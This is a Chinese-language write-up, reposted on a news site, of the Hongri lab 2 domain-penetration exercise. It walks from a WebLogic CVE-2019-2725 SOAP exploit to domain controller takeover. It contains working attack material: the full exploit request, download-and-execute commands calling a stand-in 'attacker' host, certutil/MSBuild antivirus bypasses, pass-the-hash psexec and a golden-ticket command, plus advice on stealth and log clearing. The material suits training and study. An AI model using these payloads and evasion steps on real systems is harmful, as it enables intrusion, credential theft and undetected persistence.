当前位置: 首页 > news >正文

红日靶场(二)实战复盘:从WebLogic漏洞到域控提权的完整攻击链分析

红日靶场深度实战:从WebLogic漏洞到域控提权的攻击链艺术

当安全从业者从靶场训练迈向真实攻防对抗时,最关键的差异往往不在于工具使用熟练度,而在于面对复杂环境时的战术决策能力。红日靶场作为国内知名的内网渗透训练平台,其精心设计的二层网络拓扑(外网Web服务器同时充当内网网关)模拟了企业常见的基础架构弱点。本文将跳出常规的步骤复现模式,通过五个战术维度拆解攻击链中的关键转折点。

1. 漏洞选择的博弈论:为何是CVE-2019-2725?

在扫描发现WebLogic 7001端口开放时,渗透测试者通常会面临多个漏洞选择。通过对比分析常见WebLogic漏洞的实战价值,我们可以建立更科学的漏洞利用优先级评估体系:

漏洞编号利用复杂度默认配置防护绕过难度后续利用链扩展性
CVE-2019-2725开启中等高(直接RCE)
CVE-2017-3506部分开启中(需二次利用)
CVE-2017-10271开启极高

关键决策点:选择CVE-2019-2725的核心优势在于其异步通信服务(_async/AsyncResponseService)的默认启用特性,这避免了需要认证的复杂场景。实战中通过构造特殊SOAP报文触发XML反序列化:

POST /_async/AsyncResponseService HTTP/1.1 Host: 192.168.44.80:7001 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>cmd.exe</string></void> <void index="1"><string>/c</string></void> <void index="2"><string>whoami > C:\result.txt</string></void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> </soapenv:Envelope>

2. 终端防护的破局思维:动态免杀的进阶技巧

当常规的静态免杀马被360动态检测拦截时,成熟的攻击者会转向更隐蔽的执行方式。以下是三种经过验证的绕过方案:

  • 内存加载技术:通过反射DLL注入实现无文件驻留

    $bytes = (New-Object Net.WebClient).DownloadData('http://attacker/beacon.dll') $assembly = [System.Reflection.Assembly]::Load($bytes) $entryPoint = $assembly.GetType('Beacon.Program').GetMethod('Main') $entryPoint.Invoke($null, @())
  • 合法进程劫持:利用白名单进程加载恶意代码

    • 通过Process Hollowing注入到svchost.exe
    • 使用AppDomainManager劫持.NET应用程序
  • 生活化攻击面

    • 伪装成文档图标(.scr/.hta)
    • 利用计划任务实现阶段性激活

战术要点:在靶场环境中发现,通过certutil.exe的编码下载功能配合MSBuild的XML内联任务,能有效绕过对PowerShell的监控:

certutil -urlcache -split -f http://attacker/malicious.xml payload.xml C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

3. 横向移动的路径优化:协议选择的胜负手

从Web服务器(10.10.10.80)向域控(10.10.10.10)推进时,攻击者需要评估不同协议的隐蔽性和成功率。通过对比实验数据发现:

攻击方式成功率流量特征依赖条件防护规避能力
MS17-01030%显著未打补丁
Psexec85%中等管理员凭据
WMI70%隐蔽防火墙放行135端口
计划任务60%分散445端口开放

实战选择:当MS17-010利用失败时,转向Psexec的核心优势在于:

  1. 可复用已获取的NTLM哈希(如通过mimikatz获取的Administrator:123qwe.)
  2. 执行过程产生的日志可被后续清除
  3. 支持多种payload传递方式(服务DLL/反射注入)
# 使用Impacket工具集进行哈希传递 python3 psexec.py -hashes :579da618cfbfa85247acf1f800a280a4 de1ay/administrator@10.10.10.10

4. 权限维持的隐蔽艺术:黄金票据的实战细节

获得域控权限后,传统的后门方式容易被常规检测发现。黄金票据(Golden Ticket)之所以成为高级持久化手段,关键在于其利用Kerberos协议的设计特性:

  1. 核心要素获取

    kerberos::golden /user:fakeuser /domain:de1ay.local /sid:S-1-5-21-1385844836-3290941523-682003330 /krbtgt:579da618cfbfa85247acf1f800a280a4 /ptt
    • SID通过whoami /all获取
    • krbtgt哈希来自域控的NTDS.dit提取
  2. 隐蔽性增强技巧

    • 设置合理的票据有效期(默认10年过长,建议设为3个月)
    • 避免使用域管理员账号,创建普通用户伪造票据
    • 配合Silver Ticket针对特定服务(如CIFS)
  3. 检测规避

    # 清除内存中的票据 klist purge # 使用非对称加密存储票据 certutil -encode ticket.kirbi ticket.b64

5. 攻击链的战术升华:从操作到思维

回顾整个渗透过程,真正的技术分水岭出现在三个决策点:

  1. WebLogic漏洞利用后的入口选择

    • 常规webshell上传 vs 内存马注入
    • 直接反弹shell vs 阶梯式代理搭建
  2. 内网信息收集的维度设计

    # 获取域策略信息(判断密码复杂度要求) Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess # 查找跨域信任关系 Get-DomainTrust -API
  3. 横向移动的协议切换时机

    • 当445端口被封禁时转向5985(WinRM)
    • 利用DNS隧道进行C2通信
    • 通过LLMNR/NBT-NS投毒诱导凭证

在真实攻防中,攻击者往往需要在12小时内完成从外网突破到域控占领的全流程。红日靶场的价值正在于其逼真模拟了这种时间压力下的技术决策场景——那些看似偶然的成功背后,实则是攻击者对协议特性、系统机制和防御策略的深度理解。

http://www.zskr.cn/news/1425722.html

相关文章:

  • 2026年敦化市最新黄金回收靠谱门店口碑榜 黄金+K金+白银+铂金回收门店TOP5排行榜+联系方式 - 大熊猫898989
  • 2026年丹阳市最新黄金回收靠谱门店口碑榜 黄金+K金+白银+铂金回收门店TOP5排行榜+联系方式 - 大熊猫898989
  • Flipner AI:从碎片化灵感到结构化内容的思想合成器
  • 2026年巴中市最新黄金回收靠谱门店口碑榜 黄金+K金+白银+铂金回收门店TOP5排行榜+联系方式 - 大熊猫898989
  • Oracle 11g vs 19c 大表加字段实战对比:别再让DDL操作锁死你的生产库了
  • 2026年知名的并网逆变器/雷零逆变器精选厂家推荐 - 品牌宣传支持者
  • 2026年鄂尔多斯市最新黄金回收靠谱门店口碑榜 黄金+K金+白银+铂金回收门店TOP5排行榜+联系方式 - 大熊猫898989
  • 大安市黄金回收白银回收门店推荐 2026年最新黄金回收门店口碑排行榜+联系方式 - 盛世金银回收
  • 给维修电工的CFC图形化编程避坑指南:从MOVE指令到定时器,10分钟搞定基础逻辑
  • AI时代Token消耗:从成本中心到战略杠杆的思维转变与实践
  • 从直觉到系统:五层精密度解码Vibe Coding编程思维演进
  • 基于Java+SpringBoot分布式淘宝客折扣卡系统架构设计
  • MATLAB 2018b及以后版本配置MinGW-w64 6.3.0编译器保姆级教程(含国内镜像下载)
  • VS2019 + .NET 4.7.2实战:给西门子PLC1500写个ModbusTcp调试助手(附完整源码)
  • 从Blinker库配置失败到成功:我踩过的3个坑与PlatformIO环境下的解决方案
  • 常州市黄金回收白银回收门店推荐 2026年最新黄金回收门店口碑排行榜+联系方式 - 盛世金银回收
  • 不止于教程:拆解一个STM32物联网项目的完整产品化思路(Onenet+小程序)
  • 从零构建机器学习与人工智能自学体系:课程选择与学习路径全解析
  • 别再只会用unittest了!用Pytest+Requests给你的接口自动化测试升个级(附完整项目配置)
  • Keil MDK授权卡死问题分析与解决方案
  • 别再死记硬背了!手把手拆解DNNGP、DeepGS、DLGWAS三大模型的核心层(附结构图)
  • 如何将 iPhone 上的备忘录传输到三星?
  • 177、运动控制中的行业标准:安全标准ISO 13849
  • 零基础也能搞定!手把手教你用C++解决浙工大转专业机试5道真题(附完整代码与避坑点)
  • 手把手教你用CANape 19.0新建XCP工程:从A2L导入到ECU连接(避坑指南)
  • 音乐推荐算法为何失灵?从协同过滤到内容分析的技术局限与破局之道
  • 别再死记硬背了!用Python代码帮你理解离散数学里的‘闭包’(附关系运算实战)
  • 告别焦虑等待:3分钟掌握Elsevier期刊审稿状态自动追踪神器
  • 解决STM32串口中文乱码?从编码原理到Keil/串口助手设置的避坑指南
  • 读研读博,有了AI谁还在读文献上花大把时间?